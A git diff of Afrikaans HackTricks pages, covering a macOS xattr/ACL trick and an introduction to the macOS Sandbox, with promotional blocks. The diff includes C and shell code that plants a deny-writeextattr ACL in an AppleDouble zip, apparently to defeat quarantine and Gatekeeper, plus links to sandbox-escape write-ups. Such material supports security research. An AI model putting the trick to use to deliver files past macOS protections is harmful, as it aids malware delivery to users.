* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,30 @@
|
|||
# macOS xattr-acls extra stuff
|
||||
# macOS xattr-acls ekstra goed
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
|
||||
{% endhint %}
|
||||
```bash
|
||||
rm -rf /tmp/test*
|
||||
echo test >/tmp/test
|
||||
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
|
||||
./get_acls test
|
||||
ACL for test:
|
||||
!#acl 1
|
||||
group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
|
||||
|
||||
ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
|
||||
|
||||
````
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>Kode van get_acls</summary>
|
||||
|
@ -61,47 +67,127 @@ acl_free(acl);
|
|||
acl_free(acl_text);
|
||||
return 0;
|
||||
}
|
||||
````
|
||||
```
|
||||
```markdown
|
||||
<details>
|
||||
<summary>MacOS XATTR, ACLs en ekstra goed</summary>
|
||||
|
||||
\`\`\`bash # Lets add the xattr com.apple.xxx.xxxx with the acls mkdir start mkdir start/protected ./set\_xattr start/protected echo something > start/protected/something \`\`\`
|
||||
In MacOS is daar verskeie maniere om lêers en gidsen te beveilig en te bestuur. Een van die maniere is deur die gebruik van Extended Attributes (XATTRs) en Access Control Lists (ACLs).
|
||||
|
||||
### Extended Attributes (XATTRs)
|
||||
|
||||
XATTRs is 'n manier om ekstra metadata aan lêers en gidsen toe te voeg. Dit kan gebruik word om spesifieke inligting oor die lêer te stoor, soos wie dit geskep het of wanneer dit laas gewysig is. Dit kan ook gebruik word om sekuriteitsmaatreëls toe te pas.
|
||||
|
||||
### Access Control Lists (ACLs)
|
||||
|
||||
ACLs bied 'n meer gedetailleerde benadering tot toegangsbeheer as tradisionele Unix-permissies. Dit laat jou toe om spesifieke toestemmings aan verskillende gebruikers of groepe toe te ken. Dit is nuttig in omgewings waar jy meer beheer oor toegang tot lêers en gidsen benodig.
|
||||
|
||||
### Gebruik van XATTRs en ACLs
|
||||
|
||||
Om XATTRs en ACLs te gebruik, kan jy die volgende opdragte in die terminal gebruik:
|
||||
|
||||
- **XATTR**: `xattr -w <attribute> <value> <file>`
|
||||
- **ACL**: `chmod +a "<user>:<permissions>" <file>`
|
||||
|
||||
Hierdie tegnieke kan help om jou MacOS-stelsels te beveilig teen ongewenste toegang en om jou data te beskerm.
|
||||
|
||||
</details>
|
||||
```
|
||||
```bash
|
||||
# Lets add the xattr com.apple.xxx.xxxx with the acls
|
||||
mkdir start
|
||||
mkdir start/protected
|
||||
./set_xattr start/protected
|
||||
echo something > start/protected/something
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>Kode van set_xattr</summary>
|
||||
<summary>Code van set_xattr</summary>
|
||||
```c
|
||||
// gcc -o set_xattr set_xattr.c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/xattr.h>
|
||||
#include <sys/acl.h>
|
||||
|
||||
\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include
|
||||
|
||||
void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; }
|
||||
void print_xattrs(const char *filepath) {
|
||||
ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW);
|
||||
if (buflen < 0) {
|
||||
perror("listxattr");
|
||||
return;
|
||||
}
|
||||
|
||||
char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; }
|
||||
char *buf = malloc(buflen);
|
||||
if (buf == NULL) {
|
||||
perror("malloc");
|
||||
return;
|
||||
}
|
||||
|
||||
buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; }
|
||||
buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW);
|
||||
if (buflen < 0) {
|
||||
perror("listxattr");
|
||||
free(buf);
|
||||
return;
|
||||
}
|
||||
|
||||
printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; }
|
||||
printf("All current extended attributes for %s:\n", filepath);
|
||||
for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) {
|
||||
printf("%s: ", name);
|
||||
ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW);
|
||||
if (valuelen < 0) {
|
||||
perror("getxattr");
|
||||
continue;
|
||||
}
|
||||
|
||||
char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; }
|
||||
char *value = malloc(valuelen + 1);
|
||||
if (value == NULL) {
|
||||
perror("malloc");
|
||||
continue;
|
||||
}
|
||||
|
||||
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; }
|
||||
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW);
|
||||
if (valuelen < 0) {
|
||||
perror("getxattr");
|
||||
free(value);
|
||||
continue;
|
||||
}
|
||||
|
||||
value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); }
|
||||
value[valuelen] = '\0'; // Null-terminate the value
|
||||
printf("%s\n", value);
|
||||
free(value);
|
||||
}
|
||||
|
||||
free(buf); }
|
||||
free(buf);
|
||||
}
|
||||
|
||||
int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; }
|
||||
|
||||
const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1];
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc != 2) {
|
||||
fprintf(stderr, "Usage: %s <filepath>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; }
|
||||
const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a";
|
||||
const char *filepath = argv[1];
|
||||
|
||||
print\_xattrs(filepath);
|
||||
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0);
|
||||
if (result == 0) {
|
||||
printf("Extended attribute set successfully.\n\n");
|
||||
} else {
|
||||
perror("setxattr");
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0; }
|
||||
print_xattrs(filepath);
|
||||
|
||||
````
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create appledoublefile with the xattr entitlement
|
||||
ditto -c -k start protected.zip
|
||||
|
@ -115,10 +201,24 @@ rm -rf protected.zip
|
|||
zip -r protected.zip protected ._protected
|
||||
rm -rf protected
|
||||
rm ._*
|
||||
````
|
||||
```
|
||||
{% endcode %}
|
||||
```bash
|
||||
# Check if it worked
|
||||
ditto -x -k --rsrc protected.zip .
|
||||
xattr -l protected
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
\`\`\`bash # Check if it worked ditto -x -k --rsrc protected.zip . xattr -l protected \`\`\`
|
||||
<details>
|
||||
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,36 @@
|
|||
# macOS Sandboks
|
||||
# macOS Sandbox
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basiese Inligting
|
||||
## Basic Information
|
||||
|
||||
MacOS Sandboks (aanvanklik genoem Seatbelt) **beperk toepassings** wat binne die sandboks loop tot die **toegelate aksies wat in die Sandboks-profiel gespesifiseer is** waarmee die app loop. Dit help om te verseker dat **die toepassing slegs verwagte hulpbronne sal benader**.
|
||||
MacOS Sandbox (aanvanklik Seatbelt genoem) **beperk toepassings** wat binne die sandbox loop tot die **toegelate aksies gespesifiseer in die Sandbox-profiel** waarmee die toepassing loop. Dit help om te verseker dat **die toepassing slegs verwagte hulpbronne sal benader**.
|
||||
|
||||
Enige app met die **bevoegdheid** **`com.apple.security.app-sandbox`** sal binne die sandboks uitgevoer word. **Apple-binêre lêers** word gewoonlik binne 'n Sandboks uitgevoer en om binne die **App Store** te publiseer, is **hierdie bevoegdheid verpligtend**. So die meeste toepassings sal binne die sandboks uitgevoer word.
|
||||
Enige toepassing met die **regte** **`com.apple.security.app-sandbox`** sal binne die sandbox uitgevoer word. **Apple-binaries** word gewoonlik binne 'n Sandbox uitgevoer en om in die **App Store** te publiseer, is **hierdie regte verpligtend**. So die meeste toepassings sal binne die sandbox uitgevoer word.
|
||||
|
||||
Om te beheer wat 'n proses kan doen of nie kan doen nie, het die **Sandboks hake** in alle **syscalls** regoor die kernel. **Afhanklik** van die **bevoegdhede** van die app sal die Sandboks sekere aksies **toelaat**.
|
||||
Om te beheer wat 'n proses kan of nie kan doen nie, het die **Sandbox haakplekke** in alle **syscalls** regdeur die kern. **Afhangende** van die **regte** van die toepassing, sal die Sandbox sekere aksies **toelaat**.
|
||||
|
||||
Sommige belangrike komponente van die Sandboks is:
|
||||
Sommige belangrike komponente van die Sandbox is:
|
||||
|
||||
* Die **kernel-uitbreiding** `/System/Library/Extensions/Sandbox.kext`
|
||||
* Die **privaat-raamwerk** `/System/Library/PrivateFrameworks/AppSandbox.framework`
|
||||
* 'n **Daemon** wat in userland loop `/usr/libexec/sandboxd`
|
||||
* Die **kernuitbreiding** `/System/Library/Extensions/Sandbox.kext`
|
||||
* Die **privaat raamwerk** `/System/Library/PrivateFrameworks/AppSandbox.framework`
|
||||
* 'n **daemon** wat in userland loop `/usr/libexec/sandboxd`
|
||||
* Die **houers** `~/Library/Containers`
|
||||
|
||||
Binne die houers-vouer kan jy **'n vouer vir elke app wat binne die sandboks uitgevoer word** vind met die naam van die bundel-ID:
|
||||
Binne die houers-gids kan jy **'n gids vir elke toepassing wat sandboxed uitgevoer word** vind met die naam van die bundel-id:
|
||||
```bash
|
||||
ls -l ~/Library/Containers
|
||||
total 0
|
||||
|
@ -40,7 +41,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings
|
|||
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
|
||||
[...]
|
||||
```
|
||||
Binne elke bundel-ID-vouer kan jy die **plist** en die **Data-gids** van die App vind:
|
||||
Binne elke bundel-id-gids kan jy die **plist** en die **Data-gids** van die App vind:
|
||||
```bash
|
||||
cd /Users/username/Library/Containers/com.apple.Safari
|
||||
ls -la
|
||||
|
@ -64,7 +65,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
|
|||
drwx------ 2 username staff 64 Mar 24 18:02 tmp
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Let daarop dat selfs al is die simboliese skakels daar om uit die Sandboks te "ontsnap" en toegang tot ander lêers te verkry, moet die App steeds **toestemmings** hê om daartoe toegang te verkry. Hierdie toestemmings is binne die **`.plist`**.
|
||||
Let daarop dat selfs al is die symlinks daar om te "ontsnap" uit die Sandbox en ander mappen te benader, moet die App steeds **toestemming hê** om toegang daartoe te verkry. Hierdie toestemmings is binne die **`.plist`**.
|
||||
{% endhint %}
|
||||
```bash
|
||||
# Get permissions
|
||||
|
@ -114,12 +115,12 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
|
|||
[...]
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Alles wat deur 'n Sandboxed-toepassing geskep/gewysig word, sal die **karantynatribuut** kry. Dit sal 'n sandboksruimte voorkom deur Gatekeeper te aktiveer as die sandboks-toepassing iets probeer uitvoer met **`open`**.
|
||||
Alles wat deur 'n Sandboxed toepassing geskep/gewysig word, sal die **kwarantyn-attribuut** ontvang. Dit sal 'n sandbox ruimte voorkom deur Gatekeeper te aktiveer as die sandbox toepassing probeer om iets met **`open`** uit te voer.
|
||||
{% endhint %}
|
||||
|
||||
### Sandboksprofiel
|
||||
### Sandbox Profiele
|
||||
|
||||
Die Sandboksprofiel is konfigurasie lêers wat aandui wat in daardie **Sandboks** toegelaat/verbode is. Dit gebruik die **Sandbox Profile-taal (SBPL)**, wat die [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) programmeer taal gebruik.
|
||||
Die Sandbox profiele is konfigurasie lêers wat aandui wat in daardie **Sandbox** **toegelaat/verbode** gaan word. Dit gebruik die **Sandbox Profiel Taal (SBPL)**, wat die [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) programmeertaal gebruik.
|
||||
|
||||
Hier kan jy 'n voorbeeld vind:
|
||||
```scheme
|
||||
|
@ -140,47 +141,26 @@ Hier kan jy 'n voorbeeld vind:
|
|||
)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Kyk na hierdie [**navorsing**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **om meer aksies te sien wat toegelaat of geweier kan word.**
|
||||
Kontroleer hierdie [**navorsing**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **om meer aksies te kontroleer wat toegelaat of geweier kan word.**
|
||||
{% endhint %}
|
||||
|
||||
Belangrike **sisteemdiens**e loop ook binne hul eie aangepaste **sandbox**, soos die `mdnsresponder`-diens. Jy kan hierdie aangepaste **sandbox-profiel**e sien binne:
|
||||
Belangrike **stelseldienste** loop ook binne hul eie pasgemaakte **sandbox** soos die `mdnsresponder` diens. Jy kan hierdie pasgemaakte **sandbox-profiele** binne kyk:
|
||||
|
||||
* **`/usr/share/sandbox`**
|
||||
* **`/System/Library/Sandbox/Profiles`** 
|
||||
* Ander sandbox-profiel kan nagegaan word by [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
|
||||
* Ander sandbox-profiele kan nagegaan word in [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
|
||||
|
||||
**App Store**-toepassings gebruik die **profiel** **`/System/Library/Sandbox/Profiles/application.sb`**. Jy kan in hierdie profiel nagaan hoe toekennings soos **`com.apple.security.network.server`** 'n proses toelaat om die netwerk te gebruik.
|
||||
**App Store** toepassings gebruik die **profiel** **`/System/Library/Sandbox/Profiles/application.sb`**. Jy kan in hierdie profiel kyk hoe regte soos **`com.apple.security.network.server`** 'n proses toelaat om die netwerk te gebruik.
|
||||
|
||||
SIP is 'n Sandbox-profiel genaamd platform\_profile in /System/Library/Sandbox/rootless.conf
|
||||
|
||||
### Voorbeelde van Sandbox-profiel
|
||||
### Sandbox Profiel Voorbeelde
|
||||
|
||||
Om 'n toepassing met 'n **spesifieke sandbox-profiel** te begin, kan jy gebruik maak van:
|
||||
Om 'n toepassing met 'n **spesifieke sandbox-profiel** te begin, kan jy gebruik:
|
||||
```bash
|
||||
sandbox-exec -f example.sb /Path/To/The/Application
|
||||
```
|
||||
{% code title="touch.sb" %}
|
||||
|
||||
```
|
||||
(version 1)
|
||||
(deny default)
|
||||
|
||||
(allow file-read-metadata)
|
||||
(allow file-write-metadata)
|
||||
|
||||
(allow file-read-data (literal "/path/to/file"))
|
||||
(allow file-write-data (literal "/path/to/file"))
|
||||
|
||||
(allow file-read-data (subpath "/path/to/directory/"))
|
||||
(allow file-write-data (subpath "/path/to/directory/"))
|
||||
|
||||
(allow file-read-data (regex #"^/path/to/file\d{3}$"))
|
||||
(allow file-write-data (regex #"^/path/to/file\d{3}$"))
|
||||
```
|
||||
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="touch" %}
|
||||
{% code title="touch.sb" %}
|
||||
```scheme
|
||||
|
@ -215,6 +195,8 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
|
|||
; 2023-05-26 13:44:59.840050+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) sysctl-read kern.bootargs
|
||||
; 2023-05-26 13:44:59.840061+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-data /
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% code title="touch3.sb" %}
|
||||
```scheme
|
||||
(version 1)
|
||||
|
@ -229,50 +211,50 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
|
|||
{% endtabs %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Let wel dat die **Apple- geskrewe sagteware** wat op **Windows** loop **nie addisionele sekuriteitsvoorsorgmaatreëls** soos toepassingssandboxing het nie.
|
||||
Let daarop dat die **Apple-geskrewe** **programmatuur** wat op **Windows** loop **nie addisionele sekuriteitsmaatreëls** het nie, soos toepassingsandboxing.
|
||||
{% endhint %}
|
||||
|
||||
Voorbeelde van omseilings:
|
||||
Bypasses voorbeelde:
|
||||
|
||||
* [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
|
||||
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (hulle kan lêers buite die sandbox skryf met 'n naam wat begin met `~$`).
|
||||
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (hulle kan lêers buite die sandbox skryf waarvan die naam met `~$` begin).
|
||||
|
||||
### MacOS Sandbakkie Profiele
|
||||
### MacOS Sandbox Profiele
|
||||
|
||||
macOS stoor stelselsandbakkieprofiel in twee plekke: **/usr/share/sandbox/** en **/System/Library/Sandbox/Profiles**.
|
||||
macOS stoor stelselsandboxprofiele in twee plekke: **/usr/share/sandbox/** en **/System/Library/Sandbox/Profiles**.
|
||||
|
||||
En as 'n derdeparty-toepassing die _**com.apple.security.app-sandbox**_ toekenning dra, pas die stelsel die **/System/Library/Sandbox/Profiles/application.sb** profiel toe op daardie proses.
|
||||
En as 'n derdeparty-toepassing die _**com.apple.security.app-sandbox**_ regte het, pas die stelsel die **/System/Library/Sandbox/Profiles/application.sb** profiel op daardie proses toe.
|
||||
|
||||
### **iOS Sandbakkie Profiel**
|
||||
### **iOS Sandbox Profiel**
|
||||
|
||||
Die verstekprofiel word **houer** genoem en ons het nie die SBPL-tekstrepsentasie nie. In die geheue word hierdie sandbakkie voorgestel as 'n Toelaat/Weier binêre boom vir elke toestemming van die sandbakkie.
|
||||
Die standaardprofiel word **container** genoem en ons het nie die SBPL teksverteenwoordiging nie. In geheue word hierdie sandbox verteenwoordig as 'n Toestaan/Weier binaire boom vir elke toestemming van die sandbox.
|
||||
|
||||
### Foutopsporing en Omseiling van Sandbakkie
|
||||
### Debug & Bypass Sandbox
|
||||
|
||||
Op macOS, in teenstelling met iOS waar prosesse van die begin af deur die kernel gesandbakkieer word, **moet prosesse self besluit om in die sandbakkie in te gaan**. Dit beteken op macOS word 'n proses nie deur die sandbakkie beperk nie totdat dit aktief besluit om daarin te gaan.
|
||||
Op macOS, anders as iOS waar prosesse vanaf die begin deur die kern in 'n sandbox geplaas word, **moet prosesse self in die sandbox optree**. Dit beteken op macOS is 'n proses nie deur die sandbox beperk nie totdat dit aktief besluit om daarin te gaan.
|
||||
|
||||
Prosesse word outomaties gesandbakkieer vanuit die gebruikersruimte wanneer hulle begin as hulle die toekenning het: `com.apple.security.app-sandbox`. Vir 'n gedetailleerde verduideliking van hierdie proses, kyk na:
|
||||
Prosesse word outomaties in 'n sandbox geplaas vanaf gebruikersland wanneer hulle begin as hulle die regte het: `com.apple.security.app-sandbox`. Vir 'n gedetailleerde verduideliking van hierdie proses kyk:
|
||||
|
||||
{% content-ref url="macos-sandbox-debug-and-bypass/" %}
|
||||
[macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Kontroleer PID-voorregte**
|
||||
### **Kontroleer PID Regte**
|
||||
|
||||
[**Volgens hierdie**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), kan die **`sandbox_check`** (dit is 'n `__mac_syscall`), nagaan **of 'n operasie toegelaat word of nie** deur die sandbakkie in 'n sekere PID.
|
||||
